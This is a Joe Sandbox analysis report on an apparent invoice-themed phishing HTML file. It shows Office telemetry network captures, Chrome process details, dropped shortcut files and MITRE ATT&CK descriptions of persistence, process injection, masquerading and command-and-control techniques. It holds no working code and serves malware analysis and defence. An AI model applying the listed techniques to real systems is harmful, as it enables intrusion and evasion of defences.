2024-10-24 20:09:56 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:56 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:56 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:56 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200956Z-16849878b787psctgubawhx7k800000007yg00000000qk1s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:56 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:56 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:56 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:56 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 88a9635a-401e-005b-7585-219c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200956Z-16849878b78smng4k6nq15r6s4000000012g000000006ms5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:56 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:56 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:56 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:56 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 4b1eeebb-201e-0051-0fab-217340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200956Z-16849878b788tnsxzb2smucwdc000000083000000000x6m6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:56 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:56 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:57 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:57 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 1da009b5-a01e-0002-0df5-245074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200957Z-15b8d89586fx2hlt035xdehq580000000f60000000005891 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:57 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 5864, Parent PID: 5592

General

Target ID:	0
Start time:	16:09:17
Start date:	24/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Inv Confirmation.htm"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5880, Parent PID: 5864

General

Target ID:	2
Start time:	16:09:21
Start date:	24/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2540,i,13632761524752207932,15228778839734499791,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Inv Confirmation.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

Windows Analysis Report
Inv Confirmation.htm